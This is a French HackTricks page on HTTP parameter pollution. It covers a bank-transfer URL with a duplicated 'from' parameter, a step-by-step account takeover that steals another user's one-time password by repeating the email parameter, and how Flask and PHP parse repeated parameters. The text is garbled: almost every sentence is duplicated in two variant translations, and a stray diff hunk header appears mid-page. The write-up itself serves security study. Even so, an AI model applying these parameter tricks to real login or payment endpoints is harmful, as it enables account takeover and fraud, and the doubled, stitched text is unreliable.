* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Copié de** [**https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654**](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
**Copié depuis** [**https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654**](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
**Résumé :**
La pollution des paramètres HTTP (HPP) consiste à polluer les paramètres HTTP d'une application web pour accomplir une tâche malveillante spécifique. Cela consiste à manipuler la façon dont un site Web traite les paramètres qu'il reçoit lors des demandes HTTP. Cela change le comportement d'un site Web par rapport à celui prévu. La pollution des paramètres HTTP est une attaque simple mais efficace.
La pollution des paramètres HTTP (HPP) consiste à polluer les paramètres HTTP d'une application web pour accomplir une tâche malveillante spécifique. Cela consiste à manipuler la façon dont un site web traite les paramètres qu'il reçoit lors des requêtes HTTP. Cela modifie le comportement d'un site web par rapport à son comportement prévu. La pollution des paramètres HTTP est une attaque simple mais efficace.
Lorsque vous polluez un paramètre, le code s'exécute uniquement côté serveur, ce qui est invisible pour nous, mais nous pouvons voir les résultats sur notre écran. Le processus entre les deux est une boîte noire.
Lorsque vous polluez un paramètre, le code s'exécute uniquement côté serveur, ce qui est invisible pour nous, mais nous pouvons voir les résultats à l'écran. Le processus intermédiaire est une boîte noire.
Par exemple, il y a une URL https://www.anybank.com/send qui a trois paramètres :
@ -31,46 +28,55 @@ Par exemple, il y a une URL https://www.anybank.com/send qui a trois paramètres
**URL : https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000**
Maintenant, c'est une URL normale qui procédera à une transaction de 10000 de accountA à accountB, mais que se passe-t-il si nous ajoutons un autre paramètre identique **"from :"**
Maintenant, c'est une URL normale qui effectuera une transaction de 10000 de accountA à accountB, mais que se passe-t-il si nous ajoutons un autre paramètre identique **"from :"**
Ainsi, l'URL sera comme **https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000\&from=accountC**
Lorsque cette URL procédera à une transaction de 10000, elle sera déduite du compteC plutôt que du compteA. C'est ainsi que vous manipulez les paramètres dans l'attaque de **pollution des paramètres HTTP**. Bien que la portée de cette vulnérabilité ne se limite pas seulement à la demande **GET**, vous pouvez également effectuer cette attaque sur une demande basée sur **POST**. Vous pouvez essayer cette vulnérabilité sur de nombreux endroits comme le changement de mot de passe, 2FA, les commentaires, le téléchargement de photo de profil, sur un paramètre où la clé API est passée, OTP, etc.
Lorsque cette URL effectuera une transaction de 10000, elle sera déduite du compteC plutôt que du compteA. C'est ainsi que vous manipulez les paramètres dans une attaque de **pollution des paramètres HTTP**. Bien que la portée de cette vulnérabilité ne se limite pas uniquement à une requête **GET**, vous pouvez également effectuer cette attaque sur une requête basée sur **POST**. Vous pouvez essayer cette vulnérabilité à de nombreux endroits comme le changement de mot de passe, la 2FA, les commentaires, le téléchargement de photo de profil, sur un paramètre où la clé API est transmise, OTP, etc.
Lorsque vous manipulez un paramètre, sa manipulation dépend de la façon dont chaque technologie Web analyse ses paramètres. Vous pouvez identifier les technologies Web en utilisant "[Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)". Ci-dessous se trouve la capture d'écran de certaines technologies et de leur analyse de paramètres.
Lorsque vous manipulez un paramètre, sa manipulation dépend de la façon dont chaque technologie web analyse ses paramètres. Vous pouvez identifier les technologies web en utilisant "[Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)". Ci-dessous se trouve la capture d'écran de certaines technologies et de leur analyse de paramètres. Technologies et leur analyse de paramètres
Technologies et leur analyse de paramètres
![Image pour l'article](https://miro.medium.com/max/1760/1\*POs4sP0fQVlPvTH9vw1U-A.jpeg)
![Image for post](https://miro.medium.com/max/1760/1\*POs4sP0fQVlPvTH9vw1U-A.jpeg)
J'aimerais partager l'une de mes découvertes de HPP où j'ai pu prendre le contrôle d'un compte en utilisant cette vulnérabilité.
Je voudrais partager l'une de mes découvertes de HPP où j'ai pu prendre le contrôle d'un compte en utilisant cette vulnérabilité.
**Comment j'ai trouvé cette vulnérabilité ?**
**Comment ai-je trouvé cette vulnérabilité ?**
1. Je suis allé sur une page de connexion de ce programme, il a demandé un OTP pour la connexion
Envoyer OTP
Envoyer un OTP
![Image for post](https://miro.medium.com/max/600/1\*s-M09yWBylPVEhA6\_e0nSw.jpeg)
![Image pour l'article](https://miro.medium.com/max/600/1\*s-M09yWBylPVEhA6\_e0nSw.jpeg)
2. J'ai tapé un e-mail et cliqué sur "Envoyer un mot de passe unique"
2. J'ai saisi un e-mail et cliqué sur "Envoyer un mot de passe unique"
3. J'ai intercepté la demande en utilisant Burp Suite et ajouté un autre e-mail en utilisant le même paramètre (j'ai créé deux e-mails à des fins de test)
3. J'ai intercepté la requête en utilisant Burp Suite et ajouté un autre e-mail en utilisant le même paramètre (j'ai créé deux e-mails à des fins de test) Requête Burp
Demande Burp
![Image for post](https://miro.medium.com/max/1737/1\*z\_RpnZyKHLn6B4Lz4ONT3Q.png)
![Image pour l'article](https://miro.medium.com/max/1737/1\*z\_RpnZyKHLn6B4Lz4ONT3Q.png)
4. J'ai reçu un OTP de shrey……@gmail.com sur mon autre compte radhika…..@gmail.com OTP
![Image for post](https://miro.medium.com/max/784/1\*a671GrRtiMYfLUL7nURD8Q.png)
![Image pour l'article](https://miro.medium.com/max/784/1\*a671GrRtiMYfLUL7nURD8Q.png)
5. J'ai copié l'OTP et suis allé sur shrey….@gmail.com sur l'écran de connexion de ce programme, j'ai entré cet OTP et j'étais dans le compte.
5. J'ai copié l'OTP et suis allé sur shrey….@gmail.com sur l'écran de connexion du programme, j'ai saisi cet OTP et j'étais dans le compte. Prise de contrôle du compte
Prise de contrôle de compte
![Image pour l'article](https://miro.medium.com/max/1698/1\*Ux-ILfCr\_Mk\_xmzzsXwNnA.jpeg)
![Image for post](https://miro.medium.com/max/1698/1\*Ux-ILfCr\_Mk\_xmzzsXwNnA.jpeg)
Ce qui s'est passé ici, c'est que l'application côté serveur a pris la valeur du premier paramètre "e-mail" pour générer un OTP et a utilisé la valeur du deuxième paramètre "e-mail" pour fournir la valeur, ce qui signifie qu'un OTP de shrey….@gmail.com a été envoyé à radhika….@gmail.com.
Ce qui s'est passé ici, c'est que l'application back-end a pris la valeur du premier paramètre "email" pour générer un OTP et a utilisé la valeur du deuxième paramètre "email" pour fournir la valeur, ce qui signifie qu'un OTP de shrey….@gmail.com a été envoyé à radhika….@gmail.com.
**NOTE :** Ici, sur l'image de la 4ème étape où j'ai reçu un OTP à radhika….@gmail.com, j'étais confus car le message disait Salut Radhika, donc je pensais que le paramètre n'était pas pollué et que l'OTP était pour radhika….@gmail.com, mais quand j'ai essayé l'OTP sur shrey….@gmail.com, ça a fonctionné.
## Flask & PHP
**REMARQUE :** Ici, dans une image à l'étape 4 où j'ai reçu un OTP à radhika….@gmail.com, j'étais confus car le message disait "Hi Radhika", donc j'ai pensé que le paramètre n'était pas pollué et que l'OTP était pour radhika….@gmail.com, mais quand j'ai essayé l'OTP sur shrey….@gmail.com, cela a fonctionné.
Dans [**ce compte rendu**](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution), vous pouvez voir comment une requête HTTP comme `a=1&a=2` sera interprétée différemment par Flask et PHP s'exécutant sur un serveur Apache HTTP. Dans Flask, le paramètre sera `1` (première occurrence) tandis que dans PHP, il sera `2` (dernière occurrence).
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>